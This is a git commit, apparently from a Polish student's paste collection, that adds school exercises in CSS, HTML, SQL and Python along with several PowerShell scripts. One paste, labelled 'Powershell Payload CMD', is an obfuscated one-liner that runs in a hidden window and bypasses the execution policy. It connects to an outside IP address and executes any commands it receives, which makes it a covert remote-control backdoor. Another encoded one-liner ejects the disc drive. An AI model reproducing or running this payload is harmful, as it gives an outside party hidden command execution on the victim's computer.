Dodawanie paste'ów
This commit is contained in:
parent
f2e5ea730e
commit
de8191e144
12
pastes/paste_0aa6f4.txt
Normal file
12
pastes/paste_0aa6f4.txt
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
#
|
||||||
|
# ID: 0aa6f4
|
||||||
|
# Nazwa: a
|
||||||
|
# Opis: a
|
||||||
|
# Publiczny: 1
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-11-03 10:14:54
|
||||||
|
#
|
||||||
|
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
flex-direction: row;
|
||||||
|
justify-content: center;
|
27
pastes/paste_1f338f.txt
Normal file
27
pastes/paste_1f338f.txt
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
#
|
||||||
|
# ID: 1f338f
|
||||||
|
# Nazwa: Python-PowerShell Socket Connection
|
||||||
|
# Opis: PowerShell
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-10-18 21:15:54
|
||||||
|
#
|
||||||
|
|
||||||
|
$socketHost = "127.0.0.1"
|
||||||
|
$socketPort = "53588"
|
||||||
|
|
||||||
|
$tcpConnection = New-Object System.Net.Sockets.TcpClient($socketHost, $socketPort)
|
||||||
|
$tcpStream = $tcpConnection.GetStream()
|
||||||
|
$reader = New-Object System.IO.StreamReader($tcpStream)
|
||||||
|
|
||||||
|
while ($tcpConnection.Connected) {
|
||||||
|
while ($tcpStream.DataAvailable -or $reader.Peek() -ne -1 ) {
|
||||||
|
$response = $reader.ReadLine()
|
||||||
|
Write-Output "Received:"
|
||||||
|
Write-Output "$response"
|
||||||
|
}
|
||||||
|
|
||||||
|
start-sleep -Milliseconds 500
|
||||||
|
}
|
||||||
|
|
||||||
|
$reader.Close()
|
||||||
|
$tcpConnection.Close()
|
18
pastes/paste_307f15.txt
Normal file
18
pastes/paste_307f15.txt
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
#
|
||||||
|
# ID: 307f15
|
||||||
|
# Nazwa: Notatki bazy danych
|
||||||
|
# Opis: Notatki z lekcji 3 (10.10.2023)
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-10-12 20:13:37
|
||||||
|
#
|
||||||
|
|
||||||
|
LOAD DATA INFILE 'E:\bazy danych\lekcja 3\notatnik.sql' INTO TABLE `nazwa_tabeli` FIELDS TERMINATED BY 'separator' LINES TERMINATED BY 'separator' IGNORE 1 LINES;
|
||||||
|
|
||||||
|
-- \t - tabulator
|
||||||
|
-- \r - pomin spacje na koncu wiersza
|
||||||
|
-- \n - enter
|
||||||
|
|
||||||
|
LOAD DATA INFILE 'E:\\bazy danych\\lekcja 3\\klienci.txt' INTO TABLE `klienci` FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\r\n' IGNORE 1 LINES;
|
||||||
|
LOAD DATA INFILE 'E:\\bazy danych\\lekcja 3\\agenci.txt' INTO TABLE `agenci` FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\r\n' IGNORE 1 LINES;
|
||||||
|
LOAD DATA INFILE 'E:\\bazy danych\\lekcja 3\\oferty.txt' INTO TABLE `oferta` FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\r\n' IGNORE 1 LINES;
|
||||||
|
LOAD DATA INFILE 'E:\\bazy danych\\lekcja 3\\zainteresowanie.txt' INTO TABLE `zainteresowanie` FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\r\n' IGNORE 1 LINES;
|
103
pastes/paste_3371cc.txt
Normal file
103
pastes/paste_3371cc.txt
Normal file
@ -0,0 +1,103 @@
|
|||||||
|
#
|
||||||
|
# ID: 3371cc
|
||||||
|
# Nazwa: Kartkowka z stron internetowych
|
||||||
|
# Opis: Mój kod do kartkówki z projektowania stron internetowych 26.10
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-10-26 13:40:29
|
||||||
|
#
|
||||||
|
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Flexbox kartkówka</title>
|
||||||
|
<style>
|
||||||
|
:root {
|
||||||
|
font-size: 20px; /* Zmiana tej wartości wpłynie na wygląd całej strony (użyj jeżeli nie działa na twoim wyświetlaczu) */
|
||||||
|
|
||||||
|
--bg-color: white;
|
||||||
|
--elem-color: rgb(60, 162, 135);
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
background: var(--bg-color);
|
||||||
|
}
|
||||||
|
|
||||||
|
.box {
|
||||||
|
background: var(--elem-color);
|
||||||
|
width: 10rem;
|
||||||
|
height: 10rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.box.circle {
|
||||||
|
border-radius: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.box3 {
|
||||||
|
width: 34rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.box3h {
|
||||||
|
height: 34rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.box2 {
|
||||||
|
width: 22rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
margin-top: 2rem;
|
||||||
|
width: 100%;
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topMain, .footerMain {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
gap: 2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.r1, .r2, .r3 {
|
||||||
|
display: flex;
|
||||||
|
gap: 2rem;
|
||||||
|
margin-bottom: 2rem;
|
||||||
|
justify-content: space-between;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="container">
|
||||||
|
<div class="topMain">
|
||||||
|
<div class="left">
|
||||||
|
<div class="r1">
|
||||||
|
<div class="box"></div>
|
||||||
|
<div class="box circle"></div>
|
||||||
|
<div class="box circle"></div>
|
||||||
|
<div class="box circle"></div>
|
||||||
|
</div>
|
||||||
|
<div class="r2">
|
||||||
|
<div class="box circle"></div>
|
||||||
|
<div class="box box3"></div>
|
||||||
|
</div>
|
||||||
|
<div class="r3">
|
||||||
|
<div class="box"></div>
|
||||||
|
<div class="box"></div>
|
||||||
|
<div class="box"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="right">
|
||||||
|
<div class="box box3h"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="footerMain">
|
||||||
|
<div class="box box3"></div>
|
||||||
|
<div class="box circle"></div>
|
||||||
|
<div class="box"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
35
pastes/paste_39027b.txt
Normal file
35
pastes/paste_39027b.txt
Normal file
@ -0,0 +1,35 @@
|
|||||||
|
#
|
||||||
|
# ID: 39027b
|
||||||
|
# Nazwa: Algorytmy zadanie
|
||||||
|
# Opis: Dzisiejsze zadanie domowe na algorytmy ale w Pythonie
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-10-21 10:10:51
|
||||||
|
#
|
||||||
|
|
||||||
|
# a)
|
||||||
|
|
||||||
|
a = 10
|
||||||
|
b = 15
|
||||||
|
|
||||||
|
allNums = list(range(a,b+1))
|
||||||
|
|
||||||
|
result = sum([x for x in allNums if x%2==0])
|
||||||
|
|
||||||
|
print(result)
|
||||||
|
|
||||||
|
# b)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
i = input()
|
||||||
|
try:
|
||||||
|
n
|
||||||
|
except NameError:
|
||||||
|
n = i
|
||||||
|
|
||||||
|
if not i:
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
if i > n:
|
||||||
|
n = i
|
||||||
|
|
||||||
|
print(n)
|
9
pastes/paste_393802.txt
Normal file
9
pastes/paste_393802.txt
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
#
|
||||||
|
# ID: 393802
|
||||||
|
# Nazwa: Powershell Payload CMD
|
||||||
|
# Opis: Latest version of the Powershell Payload designed to work with Python socket library. It is encoded and made to work in one line.
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-10-25 19:13:56
|
||||||
|
#
|
||||||
|
|
||||||
|
Powershell -NoLogo -WindowStyle hidden -NonInteractive -NoProfile -ExecutionPolicy Bypass -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIASgBIAE4AdgBZADIAdABsAGQARQBoAHYAYwAzAFEAZwBQAFMAQQBpAE0AVABZAHkATABqAEUANQBMAGoASQB5AE4AQwA0AHkATQB6AFUAaQBEAFEAbwBrAGMAMgA5AGoAYQAyAFYAMABVAEcAOQB5AGQAQwBBADkASQBDAEkANABPAEQAZwB3AEkAZwAwAEsARABRAHAAMwBhAEcAbABzAFoAUwBBAG8ASgBIAFIAeQBkAFcAVQBwAEkASABzAE4AQwBpAEEAZwBJAEMAQgAwAGMAbgBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAawBkAEcATgB3AFEAMgA5AHUAYgBtAFYAagBkAEcAbAB2AGIAaQBBADkASQBFADUAbABkAHkAMQBQAFkAbQBwAGwAWQAzAFEAZwBVADMAbAB6AGQARwBWAHQATABrADUAbABkAEMANQBUAGIAMgBOAHIAWgBYAFIAegBMAGwAUgBqAGMARQBOAHMAYQBXAFYAdQBkAEMAZwBrAGMAMgA5AGoAYQAyAFYAMABTAEcAOQB6AGQAQwB3AGcASgBIAE4AdgBZADIAdABsAGQARgBCAHYAYwBuAFEAcABEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEMAUgAwAFkAMwBCAFQAZABIAEoAbABZAFcAMABnAFAAUwBBAGsAZABHAE4AdwBRADIAOQB1AGIAbQBWAGoAZABHAGwAdgBiAGkANQBIAFoAWABSAFQAZABIAEoAbABZAFcAMABvAEsAUQAwAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGsAYwBtAFYAaABaAEcAVgB5AEkARAAwAGcAVABtAFYAMwBMAFUAOQBpAGEAbQBWAGoAZABDAEIAVABlAFgATgAwAFoAVwAwAHUAUwBVADgAdQBVADMAUgB5AFoAVwBGAHQAVQBtAFYAaABaAEcAVgB5AEsAQwBSADAAWQAzAEIAVABkAEgASgBsAFkAVwAwAHAARABRAG8ATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBkADIAaABwAGIARwBVAGcASwBDAFIAMABZADMAQgBEAGIAMgA1AHUAWgBXAE4AMABhAFcAOQB1AEwAawBOAHYAYgBtADUAbABZADMAUgBsAFoAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAGQAMgBoAHAAYgBHAFUAZwBLAEMAUgAwAFkAMwBCAFQAZABIAEoAbABZAFcAMAB1AFIARwBGADAAWQBVAEYAMgBZAFcAbABzAFkAVwBKAHMAWgBTAEEAdABiADMASQBnAEoASABKAGwAWQBXAFIAbABjAGkANQBRAFoAVwBWAHIASwBDAGsAZwBMAFcANQBsAEkAQwAwAHgASQBDAGsAZwBlAHcAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAUgB5AFoAWABOAHcAYgAyADUAegBaAFMAQQA5AEkAQwBSAHkAWgBXAEYAawBaAFgASQB1AFUAbQBWAGgAWgBFAHgAcABiAG0AVQBvAEsAUQAwAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBSAHcAYwBtAFYAbQBhAFgAZwBnAFAAUwBBAGsAYwBtAFYAegBjAEcAOQB1AGMAMgBVAHUAVQAzAEIAcwBhAFgAUQBvAEkAaQBBAGkATABDAEEAeQBLAFYAcwB3AFgAUQAwAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkARwBsAG0ASQBDAGcAawBjAEgASgBsAFoAbQBsADQASQBDADEAbABjAFMAQQBpAFEAMAAxAEUASQBpAGsAZwBlAHcAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGsAWQAyADkAdABiAFcARgB1AFoAQwBBADkASQBDAFIAeQBaAFgATgB3AGIAMgA1AHoAWgBTADUAVABjAEcAeABwAGQAQwBnAGkASQBDAEkAcwBJAEQASQBwAFcAegBGAGQARABRAG8ATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAFMAVwA1ADIAYgAyAHQAbABMAFUAVgA0AGMASABKAGwAYwAzAE4AcABiADIANABnAEoARwBOAHYAYgBXADEAaABiAG0AUQBOAEMAaQBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQgA5AEQAUQBvAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAOQBEAFEAbwBOAEMAaQBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBIAE4AMABZAFgASgAwAEwAWABOAHMAWgBXAFYAdwBJAEMAMQBOAGEAVwB4AHMAYQBYAE4AbABZADIAOQB1AFoASABNAGcATgBUAEEAdwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEgAMABOAEMAaQBBAGcASQBDAEIAOQBJAEcATgBoAGQARwBOAG8ASQBIAHMATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBWADMASgBwAGQARwBVAHQAVAAzAFYAMABjAEgAVgAwAEkAQwBKAEYAYwBuAEkANgBZAEcANABrAFgAeQBJAE4AQwBpAEEAZwBJAEMAQgA5AEQAUQBvAE4AQwBpAEEAZwBJAEMAQgB6AGQARwBGAHkAZABDADEAegBiAEcAVgBsAGMAQwBBAHQAVABXAGwAcwBiAEcAbAB6AFoAVwBOAHYAYgBtAFIAegBJAEQAVQB3AE0ARABBAE4AQwBuADAATgBDAGcAMABLAEoASABKAGwAWQBXAFIAbABjAGkANQBEAGIARwA5AHoAWgBTAGcAcABEAFEAbwBrAGQARwBOAHcAUQAyADkAdQBiAG0AVgBqAGQARwBsAHYAYgBpADUARABiAEcAOQB6AFoAUwBnAHAARABRAG8APQAiAH0AJwAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuACkALgBTAGMAcgBpAHAAdAApACkAIAB8ACAAaQBlAHgA
|
65
pastes/paste_3f95a8.txt
Normal file
65
pastes/paste_3f95a8.txt
Normal file
@ -0,0 +1,65 @@
|
|||||||
|
#
|
||||||
|
# ID: 3f95a8
|
||||||
|
# Nazwa: Kod Gabriela z lekcji z P. Jordanem
|
||||||
|
# Opis: 02.11.2023
|
||||||
|
# Publiczny: 1
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-11-02 14:42:21
|
||||||
|
#
|
||||||
|
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="pl">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<title>Kartkówka</title>
|
||||||
|
<link rel="stylesheet"
|
||||||
|
href="style.css">
|
||||||
|
<style>
|
||||||
|
body {
|
||||||
|
background-color: black;
|
||||||
|
}
|
||||||
|
.apla{
|
||||||
|
background-color: blueviolet;
|
||||||
|
color:aliceblue;
|
||||||
|
width: 150px;
|
||||||
|
line-height: 150px;
|
||||||
|
text-align: center;
|
||||||
|
margin: 5px;
|
||||||
|
transition: all 0.25s ease-in-out;
|
||||||
|
|
||||||
|
}
|
||||||
|
.all{
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
.apla:hover{
|
||||||
|
transform: rotate(-15deg) scale(1.2);
|
||||||
|
border-radius: 45px 0 45px;
|
||||||
|
border: 3px solid violet;
|
||||||
|
opacity: 0.2;
|
||||||
|
}
|
||||||
|
.apla:active{
|
||||||
|
visibility: hidden;
|
||||||
|
}
|
||||||
|
.apla:nth-child(even){
|
||||||
|
transform: rotate(-15deg); /* even - co drugi */
|
||||||
|
scale: 0.8
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<div class="all">
|
||||||
|
<div class="apla">1</div>
|
||||||
|
<div class="apla">2</div>
|
||||||
|
<div class="apla">3</div>
|
||||||
|
<div class="apla">4</div>
|
||||||
|
<div class="apla">1</div>
|
||||||
|
<div class="apla">2</div>
|
||||||
|
<div class="apla">3</div>
|
||||||
|
<div class="apla">4</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
45
pastes/paste_3f9dc6.txt
Normal file
45
pastes/paste_3f9dc6.txt
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
#
|
||||||
|
# ID: 3f9dc6
|
||||||
|
# Nazwa: notatki bazy danych
|
||||||
|
# Opis: Ćwiczenia SELECT // 15.12.2023/19.12.2023
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-12-19 12:45:08
|
||||||
|
#
|
||||||
|
|
||||||
|
-- LEKCJA 14
|
||||||
|
|
||||||
|
-- Wyświetl wszystkie domki z garażem
|
||||||
|
SELECT Nrdomku, Garaz FROM domki WHERE Garaz = 'TAK';
|
||||||
|
|
||||||
|
-- Wyświetl listę pracowników o imieniu Jan.
|
||||||
|
SELECT Imie, Nazwisko FROM uczniowie WHERE Imie = "Jan";
|
||||||
|
|
||||||
|
-- Wyświetl listę pracowników, których nazwisko rozpoczyna się na tą samą literę, na którą rozpoczyna się Twoje nazwisko.
|
||||||
|
SELECT Imie, Nazwisko AS dane FROM uczniowie WHERE Nazwisko LIKE "G%" ORDER BY Nazwisko ASC, Imie ASC;
|
||||||
|
|
||||||
|
-- Wyświetl listę pracowników, których nazwisko kończy się ciągiem „ski” lub „ska”.
|
||||||
|
SELECT Imie, Nazwisko FROM uczniowie WHERE Nazwisko LIKE "%ski" OR Nazwisko LIKE "%ska";
|
||||||
|
|
||||||
|
-- Wyświetl listę pracowników, których nazwisko nie zaczyna się od litery „a”.
|
||||||
|
SELECT Imie, Nazwisko FROM uczniowie WHERE nazwisko NOT LIKE "A%";
|
||||||
|
|
||||||
|
-- Wyświetl listę pracowników uporządkowaną ze względu na imię, którzy mają trzyliterowe imię.
|
||||||
|
SELECT Imie, Nazwisko FROM uczniowie WHERE imie LIKE "___";
|
||||||
|
|
||||||
|
-- Wyświetl alfabetyczną listę pracowników, których nazwisko zaczyna się na litery 'K' lub ‘N’.
|
||||||
|
SELECT Imie, Nazwisko FROM uczniowie WHERE Nazwisko LIKE "K%" OR Nazwisko LIKE "N%";
|
||||||
|
|
||||||
|
-- Wyświetl identyfikatory pracowników, którzy rezerwowali domki o numerach 1, 3 i 7.
|
||||||
|
SELECT IDpracownika, NrDomku FROM rezerwacje WHERE NrDomku = 1 OR NrDomku = 3 OR NrDomku = 7;
|
||||||
|
|
||||||
|
-- LEKCJA 15
|
||||||
|
|
||||||
|
-- Wyświetl identyfikatory pracowników, którzy rezerwowali domki o numerach od 1 do 4.
|
||||||
|
SELECT IDpracownika, NrDomku FROM rezerwacje WHERE NrDomku >= 1 AND NrDomku <= 4; -- Nie jest to optymalny sposób
|
||||||
|
SELECT IDpracownika, NrDomku FROM rezerwacje WHERE NrDomku BETWEEN 1 AND 4; -- Tak jest lepiej
|
||||||
|
SELECT uczniowie.IDpracownika, rezerwacje.NrDomku, uczniowie.Imie, uczniowie.Nazwisko FROM uczniowie, rezerwacje WHERE rezerwacje.IDpracownika = uczniowie.IDpracownika AND rezerwacje.NrDomku BETWEEN 1 AND 4;
|
||||||
|
-- BETWEEN x AND y - Przedział zamknięty
|
||||||
|
-- Powyższe polecenie wyświetla konkretne dane z tabeli uczniowie pracowników którzy rezerwowali w tabeli rezerwacje domki o numerach od 1 do 4
|
||||||
|
|
||||||
|
-- Wyświetl listę kandydatów (nazwisko i imię w jednym polu o nazwie dane), których nazwisko rozpoczyna się na literę L.
|
||||||
|
SELECT CONCAT(Imie, " ", Nazwisko) AS dane FROM uczniowie WHERE Nazwisko LIKE "L%";
|
23
pastes/paste_423c11.txt
Normal file
23
pastes/paste_423c11.txt
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
#
|
||||||
|
# ID: 423c11
|
||||||
|
# Nazwa: Odpowiedzi z kartkówki
|
||||||
|
# Opis: Odpowiedzi nie są dobre: references i before są źle
|
||||||
|
# Publiczny: 1
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-11-14 12:43:22
|
||||||
|
#
|
||||||
|
|
||||||
|
create database `malarze`;
|
||||||
|
CREATE TABLE `farby`( `id_farby` int unsigned PRIMARY KEY AUTO_INCREMENT, `kolor` enum("czerwony","biały","zielony"), `cena` float, `pojemosc` tinyint unsigned )
|
||||||
|
|
||||||
|
CREATE TABLE `malowanie`(
|
||||||
|
`id_pomieszczenia` int,
|
||||||
|
`id_sciany` int,
|
||||||
|
`id_farby` int,
|
||||||
|
`liczba_puszek` int unsigned,
|
||||||
|
PRIMARY KEY (`id_pomieszczenia`,`id_sciany`)
|
||||||
|
);
|
||||||
|
ALTER TABLE `malowanie` ADD REFERENCES `farby` (`id_farby`) FOREIGN KEY `id_farby`
|
||||||
|
ALTER TABLE `malarz` ADD COLUMN (`rok waznosci` datetime) before `id_pomieszczenia`
|
||||||
|
ALTER TABLE `malowanie` rename `malarz`
|
||||||
|
ALTER TABLE `malarz` CHANGE `rok waznosci` `rok waznosci` date
|
||||||
|
alter table `farby` change `cena` `cena produktu` float
|
9
pastes/paste_4827ae.txt
Normal file
9
pastes/paste_4827ae.txt
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
#
|
||||||
|
# ID: 4827ae
|
||||||
|
# Nazwa: Otwieranie napędu PS CMD
|
||||||
|
# Opis: Wersja jedno-linijkowa skryptu na otwieranie napędu w PowerShellu
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-10-19 13:26:07
|
||||||
|
#
|
||||||
|
|
||||||
|
Powershell -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIASgBFADEAbABiAFUAUgBsAFoAaQBBADkAUQBDAEkATgBDAGwAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBkAHAAYgBtADEAdABMAG0AUgBzAGIAQwBJAHMASQBFAE4AbwBZAFgASgBUAFoAWABRAGcAUABTAEIARABhAEcARgB5AFUAMgBWADAATABrAEYAdQBjADIAawBwAFgAUQAwAEsAYwBIAFYAaQBiAEcAbABqAEkASABOADAAWQBYAFIAcABZAHkAQgBsAGUASABSAGwAYwBtADQAZwBhAFcANQAwAEkARwAxAGoAYQBWAE4AbABiAG0AUgBUAGQASABKAHAAYgBtAGQAQgBLAEEAMABLAEMAWABOADAAYwBtAGwAdQBaAHkAQgBzAGMASABOADAAYwBrAE4AdgBiAFcAMQBoAGIAbQBRAHMARABRAG8ASgBjADMAUgB5AGEAVwA1AG4ASQBHAHgAdwBjADMAUgB5AFUAbQBWADAAZABYAEoAdQBVADMAUgB5AGEAVwA1AG4ATABBADAASwBDAFcAbAB1AGQAQwBCADEAVQBtAFYAMABkAFgASgB1AFQARwBWAHUAWgAzAFIAbwBMAEEAMABLAEMAVQBsAHUAZABGAEIAMABjAGkAQgBvAGQAMgA1AGsAUQAyAEYAcwBiAEcASgBoAFkAMgBzAE4AQwBpAGsANwBEAFEAbwBpAFEAQQAwAEsARABRAG8AawBkADIAbAB1AGIAVwAwAGcAUABTAEIAQgBaAEcAUQB0AFYASABsAHcAWgBTAEEAdABiAFcAVgB0AFkAbQBWAHkAUgBHAFYAbQBhAFcANQBwAGQARwBsAHYAYgBpAEEAawBUAFcAVgB0AFIARwBWAG0ASQBDADEARgBjAG4ASgB2AGMAawBGAGoAZABHAGwAdgBiAGkAQQBuAFUAMgBsAHMAWgBXADUAMABiAEgAbABEAGIAMgA1ADAAYQBXADUAMQBaAFMAYwBnAEwAWABCAGgAYwAzAE4AMABhAEgASgAxAEkAQwAxAHUAWQBXADEAbABJAEcAMQBqAGEAVgBOAGwAYgBtAFIAVABkAEgASgBwAGIAbQBjAE4AQwBpAFIAMwBhAFcANQB0AGIAVABvADYAYgBXAE4AcABVADIAVgB1AFoARgBOADAAYwBtAGwAdQBaADAARQBvAEkAbgBOAGwAZABDAEIAagBaAEcARgAxAFoARwBsAHYASQBHAFIAdgBiADMASQBnAGIAMwBCAGwAYgBpAEkAcwBJAEMAUgB1AGQAVwB4AHMATABDAEEAdwBMAEQAQQBwAEQAUQBvAD0AIgB9ACcAIAB8ACAAQwBvAG4AdgBlAHIAdABGAHIAbwBtAC0ASgBzAG8AbgApAC4AUwBjAHIAaQBwAHQAKQApACAAfAAgAGkAZQB4AA==
|
84
pastes/paste_5d9e4b.txt
Normal file
84
pastes/paste_5d9e4b.txt
Normal file
@ -0,0 +1,84 @@
|
|||||||
|
#
|
||||||
|
# ID: 5d9e4b
|
||||||
|
# Nazwa: notatki bazy danych
|
||||||
|
# Opis: 01.12.2023/05.12.2023 TRUNCATE, zadania z DML
|
||||||
|
# Publiczny: 0
|
||||||
|
# Data utworzenia/ostatniej edycji (UTC): 2023-12-05 12:43:49
|
||||||
|
#
|
||||||
|
|
||||||
|
-- Lekcja 11
|
||||||
|
|
||||||
|
-- TRUNCATE służy do usuwania rekordów jednocześnie resetując AUTO_INCREMENT indeksów, czyli zacznie numerować od początku
|
||||||
|
TRUNCATE tabela;
|
||||||
|
|
||||||
|
-- (Zadania z PDFem który pani wysłała na mobiDzienniku)
|
||||||
|
-- 1. Tworzenie tabeli zamówienia
|
||||||
|
CREATE TABLE zamowienia(
|
||||||
|
id INT UNSIGNED NOT NULL,
|
||||||
|
imie VARCHAR(128),
|
||||||
|
nazwisko VARCHAR(128),
|
||||||
|
adres_email VARCHAR(128),
|
||||||
|
liczba_choinek INT,
|
||||||
|
liczba_mikolajow INT,
|
||||||
|
liczba_reniferow INT,
|
||||||
|
info BOOLEAN
|
||||||
|
);
|
||||||
|
|
||||||
|
-- 2. Zmienianie id na klucz główny
|
||||||
|
ALTER TABLE zamowienia
|
||||||
|
ADD PRIMARY KEY (id);
|
||||||
|
|
||||||
|
-- 5. Dodawanie danych
|
||||||
|
INSERT INTO zamowienia(id, imie, nazwisko, adres_email)
|
||||||
|
VALUES (1, "Jan", "Kowalski", "jKowalski@poczta.pl");
|
||||||
|
|
||||||
|
-- Osobne zadanie od pani:
|
||||||
|
-- Wprowadź dwa rekordy do tabeli: (Ala Kowalska, l_choinek=5), (Tomek Kowalski, l_choinek=8)
|
||||||
|
|
||||||
|
INSERT INTO zamowienia(id, imie, nazwisko, liczba_choinek)
|
||||||
|
VALUES (2, "Ala", "Kowalska", 5),
|
||||||
|
(3, "Tomek", "Kowalski", 8);
|
||||||
|
|
||||||
|
INSERT INTO zamowienia
|
||||||
|
VALUES (4, "Ola", "Kowalska", "", 2, 4, 0, "");
|
||||||
|
|
||||||
|
-- Lekcja 12
|
||||||
|
|
||||||
|
-- 1. Aktualizuj wszystkie rekordy o parzystym identyfikatorze zmieniając imię na Franek i dodając liczbę choinek: 6 oraz liczbę reniferów: 8
|
||||||
|
UPDATE zamowienia
|
||||||
|
SET imie = "Franek",
|
||||||
|
liczba_choinek = 6,
|
||||||
|
liczba_reniferow = 8
|
||||||
|
WHERE id %2 = 0;
|
||||||
|
|
||||||
|
-- 2. Aktualizuj liczbę choinek zwiększając liczbę choinek o 3 choinki dla wszystkich rekordów gdzie nazwisko kończy się na i
|
||||||
|
UPDATE zamowienia
|
||||||
|
SET liczba_choinek = liczba_choinek + 3
|
||||||
|
WHERE nazwisko LIKE "%i";
|
||||||
|
|
||||||
|
-- 3. Ustaw liczbę mikołajów na 7 dla wszystkich rekordów o imieniu zawierającym r
|
||||||
|
UPDATE zamowienia
|
||||||
|
SET liczba_mikolajow = 7
|
||||||
|
WHERE imie LIKE "%r%";
|
||||||
|
|
||||||
|
-- 4. Usuń wszystkie rekordy z nieparzystym ID
|
||||||
|
DELETE FROM zamowienia
|
||||||
|
WHERE id %2 != 0;
|
||||||
|
|
||||||
|
-- 5. Wyczyść tabelę
|
||||||
|
TRUNCATE zamowienia;
|
||||||
|
|
||||||
|
-- 6. Wyświetl strukturę tabeli
|
||||||
|
DESCRIBE zamowienia;
|
||||||
|
|
||||||
|
